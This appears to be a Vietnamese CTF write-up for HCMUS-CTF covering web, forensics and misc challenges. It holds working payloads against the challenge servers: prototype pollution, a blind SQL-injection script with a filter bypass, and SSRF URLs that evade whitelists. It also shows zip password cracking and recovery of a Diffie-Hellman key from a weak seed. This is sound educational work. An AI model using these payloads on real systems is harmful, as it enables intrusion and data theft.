CategoryChallenge NameDifficulty
WebPolluted WebEasy
WebHave I Been PwnedMedium
WebCute Page 2Hard
ForensicsKnow Your SoundEasy
ForensicsCraknarokMedium
ForensicsBlack MarketHard
MiscThe Game Of LifeEasy
MiscCome on and jamEasy
MiscTrace meEasy

Polluted Web

Exploit

Dùng burpsuite, bắt lại POST request và chỉnh lại header: Content-Type: application/json và chỉnh lại body như sau:

{
    "name": "Dat2Phit",
    "opinion": "gdsfsd",
    "__proto__": {
        "flag": true
    },
    "flag":false
}

Have I Been Pwned

Exploit script

Sử dụng binary search để tối ưu script

import requests
from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b
from tqdm import tqdm
from time import perf_counter
 
session = requests.Session()
url = 'http://103.245.250.17:30007/'
 
length = 60
l = b2l(b'\x00' * length) # = 0
r = b2l(b'\xff' * length)
 
bar = tqdm(total=r.bit_length()) # O(logn) lol
t1_start = perf_counter()
 
while l < r:
  m = (l + r) // 2
  sent = hex(m).upper()[2:]
 
  bar.set_description(f"Testing: {l2b(m)}")
  payload = f"' OUNIONR (id = 1337 AND hex(password) > '{sent}') -UNION- -"
  res = session.post(url, {"password": payload})
  if 'safe.jpg' in res.text:
    r = m - 1
  else:
    l = m + 1
  bar.update(1)
 
t1_stop = perf_counter()
bar.close()
print("Elapsed time:", t1_stop - t1_start)
 

Output

Exploit
Flag: HCMUS-CTF{SelECt_SeLEcT_Unt1l_y0U_G3t_th3_fl3g!!?!!??}

Cute Page 2

2 challenges này chủ yếu nhắm đến việc bypass filter để sử dụng SSRF (Server side request forgery) cho server gửi request đến /flag với IP là 127.0.0.1

Challenge 1

const hostWhiteList = [
  "www.youtube.com/watch",
  "kenhsinhvien.vn/topic",
  "www.w3schools.com/js",
  "info.cern.ch/hypertext",
  "gaia.cs.umass.edu/kurose_ross",
  "www.hcmus.edu.vn/component/content/",
];
const protocolWhiteList = ["http", "https"];
 
function filter(url) {
  let t = url.split("://", 2);
  let protocol = t[0];
  let host = t[1];
 
  if (
    !protocolWhiteList.some((p) => {
      return protocol.startsWith(p) && protocol.endsWith(p);
    })
  )
    return false;
 
  if (
    !hostWhiteList.some((h) => {
      return host.startsWith(h);
    })
  )
    return false;
 
  return true;
}
 

Challenge 2

function extremeFilter(url) {
  // Hardcoded filter lmaooo
  if (url.substring(0, 4) !== "http" || url.substring(7, 28) !== "picsum.photos/900/500" || url.includes('flag')) {
    return false;
  }
  return true;
}

Final payload

Challenge 1

 http:localhost:5000/flag#http://kenhsinhvien.vn/topic

or

http:/\localhost:5000/flag#http://kenhsinhvien.vn/topic

Challenge 2

http:0/picsum.photos/900/500/../../../get?url=http://localhost/fl%61g

Flag: HCMUS-CTF{55Rf_St4nD_f0r_5uP3r_s3CUr3d_rEqu3st_f0rg3Ry?}

Know Your Sound

Part 1

Sử dụng Sonic Audio Visualizer mở file → Thêm layer Spectrogram vào sẽ thấy phần 1 của flag

Part 2

Hint: LSB (Least Significant Bit)
Dựa vào hint thì ta tìm thử các tool xem có tool nào có thể extract được LSB từ wav.
Thì có 1 tool gọi là stegolsb
Sư dụng module wavsteg:

stegolsb wavsteg -r -i mysterious.wav -o out -n 1 -b 30000

Kết quả sẽ ra cái hình:

Part 3

Chạy binwalk trên file wav sẽ thấy có file rick.jpg được dấu ở trong file.

Flag: HCMUS-CTF{4r3_You_5up3R_son1C_tH3_sT3G0s4uRu5sS5s55}

Craknarok

John The Ripper

Use zip2john to get the hash from the zip file.
Use john with the rockyou.txt wordlist

Known Plaintext Attack


Sau đó vô confidential.pdf ctrl + A copy ra notepad sẽ có flag

Flag: HCMUS-CTF{H0w_D1d_y0U_Kn0W_Th3_P@ssW0rd????}

Black Market

Ideas

Chạy thử lệnh file và strings xem exe được viết bằng gì

$ file Bob.exe          
Bob.exe: PE32+ executable (console) x86-64, for MS Windows
$ strings Bob.exe -n 10 
...
bCrypto\Cipher\_chacha20.pyd
bCrypto\Cipher\_pkcs1_decode.pyd
bCrypto\Cipher\_raw_aes.pyd
bCrypto\Cipher\_raw_aesni.pyd
bCrypto\Cipher\_raw_arc2.pyd
bCrypto\Cipher\_raw_blowfish.pyd
bCrypto\Cipher\_raw_cast.pyd
bCrypto\Cipher\_raw_cbc.pyd
...

⇾ Bob.exe được viết bằng python
⇾ Dễ dàng reverse sử dụng pyinstxtractoruncompyle6

pyinstxtractor

$ python pyinstxtractor.py Bob.exe 
[+] Processing Bob.exe
[+] Pyinstaller version: 2.1+
[+] Python version: 3.8
[+] Length of package: 13373438 bytes
[+] Found 122 files in CArchive
[+] Beginning extraction...please standby
[+] Possible entry point: pyiboot01_bootstrap.pyc
[+] Possible entry point: pyi_rth_multiprocessing.pyc
[+] Possible entry point: pyi_rth_pkgres.pyc
[+] Possible entry point: pyi_rth_win32api.pyc
[+] Possible entry point: pyi_rth_win32comgenpy.pyc
[+] Possible entry point: Bob.pyc
[+] Found 431 files in PYZ archive
[+] Successfully extracted pyinstaller archive: Bob.exe
 
You can now use a python decompiler on the pyc files within the extracted directory

uncompyle6

$ uncompyle6 -o . .\Bob.exe_extracted\Bob.pyc
# Successfully decompiled file

Bob.py reversed from Bob.exe

Read code for solutions

Sau khi đọc source thì ta có thể thấy rằng Bob và Alice đang thực hiện Diffie-Hellman key exchange.

random.seed(int(time.time()))
private_key = random.randrange(2, p)
client.sendall(package(p, LEN_PRIME) + package(g, LEN_GEN) + package(pow(g, private_key, p), LEN_PUB))
 
A = bytes_to_long(client.recv(LEN_PUB))
shared_secret = pow(A, private_key, p)

Ta thấy rằng private_key của Bob được tạo random dựa vào seed là thời gian lúc gửi. Nhưng seed được làm tròn thành số nguyên nên ta có thể đoán được seed dựa vào timestamp ở trong file pcap.

Sau khi có được shared_secret rồi thì chỉ cần cho vào hàm decrypt là xong.

Như vậy, ta chỉ cần sửa lại Bob.py:

  • Chỉnh int(time.time()) thành timestamp ở trong file pcap.
  • Thay vì xuất ra màn hình sau khi nhận data thì ta save vào file luôn.
good_stuffs = decrypt(shared_secret, data)
if hashlib.md5(good_stuffs).hexdigest() in whitelist:
    # print("That is some good stuffs for sure!")
    with open("sol.png", 'wb') as f:
        f.write(good_stuffs)
else:
    print("Goofy ahh stuffs :/")

Việc tiếp theo là chỉ cần mô phỏng lại cuộc trò chuyện giữa Bob và Alice bằng cách trích data ra từ file pcap và gửi lại cho Bob.

Solve script

import hashlib
import random
from binascii import unhexlify
import pyshark
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import bytes_to_long
 
def is_pkcs7_padded(message):
    padding = message[-message[-1]:]
    return all(padding[i] == len(padding) for i in range(0, len(padding)))
 
def decrypt(shared_secret: int, ciphertext: bytes):
    # Derive AES key from shared secret
    sha1 = hashlib.sha1()
    sha1.update(str(shared_secret).encode('ascii'))
    key = sha1.digest()[:16]
    iv = 16 * b'\x00'
    cipher = AES.new(key, AES.MODE_CBC, iv)
    plaintext = cipher.decrypt(ciphertext)
    if is_pkcs7_padded(plaintext):
        return unpad(plaintext, 16)
    else:
        return plaintext
 
shark_cap = pyshark.FileCapture('conversation.pcap')
bob = []
alice = []
alice_port = None
for packet in shark_cap:
    if packet.tcp.srcport == "13337":
        if 'payload' in dir(packet.tcp):
            data = unhexlify("".join(packet.tcp.payload.split(':')).encode())
            bob.append(data)
    elif packet.tcp.srcport == "2688":
        if 'payload' in dir(packet.tcp):
            data = unhexlify("".join(packet.tcp.payload.split(':')).encode())
            alice.append(data)
 
LEN_PRIME = 1024
LEN_GEN = 16
LEN_PUB = 1024
 
random.seed(int(1674961797.326117000))
 
p, g, B = bob[0][:LEN_PRIME], bob[0][LEN_PRIME:LEN_PRIME + LEN_GEN], bob[0][-LEN_PUB:]
p, g, B = bytes_to_long(p), bytes_to_long(g), bytes_to_long(B)
A = bytes_to_long(alice[0])
private_key = random.randrange(2, p)
shared_secret = pow(A, private_key, p)
data = b"".join(alice[1:])
good_stuffs = decrypt(shared_secret, data)
print(len(good_stuffs))
with open("sol.png", 'wb') as f:
    f.write(good_stuffs)
 

Flag

Flag PNG
Flag: HCMUS-CTF{H3LLM4N_1S_UR_M1DDL3_N4M3}

The Game Of Life

File được cho có tên là game.rle
Mở thử thì ta thấy nội dung như sau:

x = 2404, y = 1658, rule = B3/S23
2$
1452bo$
1453bo3bo$
1444b2o2b2o8bo12b2o$
1444b2o2bo5b2o2bo12b2o$
1448bobo5b2o$
1449b2o3b3o2$
...

Nhìn qua thì chắc đây là một file liên quan đến pattern ở trong Conway Game Of Life nên thử kiếm xem có trang web nào cho chạy không. Thì kiếm một hồi sẽ ra trang copy.sh

Sau đó thì cứ import file vào và chạy thôi (nhớ tăng tốc độ)

Flag
Flag: HCMUS-CTF{Th3_G4m3_0F_L1f3_1S_S0o0o0_C00ll!}

Come on and jam

Link: tinyurl.com/HCMUS-CTF-JAM
Tạo bản sao của Jamboard được dẫn đến.
Sao đó kéo các note ra sẽ lộ ra được cái một cái đường link.

Follow đường link sẽ dẫn đến trang pastebin.
Nhưng paste này đã được edit đem lên waybackmachine sẽ có archive.

Flag: HCMUS-CTF{1t'S_T1m3_t0_J4MMMM}

Trace me

Nội dung của file được cho:

Info

bữa sáng.mỗi ngày.dệt vải vật liệu.tầm với.tài năng khe cửa.nồi gang.bãi tắm ban đầu.hạ cánh.xa tít cuộn dây.cánh quạt.tinh mơ đèn bàn.sấy tóc.di sản tạp dề.nhiếp ảnh.môi son tài trí.cái thang.tẩm ướp …

Description của challenge:

Hint

Dat3Phit told me to find him, but the only thing he gave me is this list containing seemingly random word triplets. Can you figure out what it means and trace him down for me?

Và hint của challenge được cho là: Map

Thoáng đọc qua cái file thì có vẻ vô nghĩa, nhưng dựa trên hint thì chắc mỗi dòng trong file thể hiện một toạ độ trên bản đồ.
Thử search google cụm từ 3 words map thì kết quả trả về đầu tiên đó chính là trang what3words

Login và chọn import list from csv download template copy & paste vô csv (nhớ lưu lại bằng UTF-8)

Import vào what3words sẽ ra:

Scan QR sẽ ra flag.
Flag: HCMUS-CTF{Bl@ckP1nk3R_1n_HCMUS!}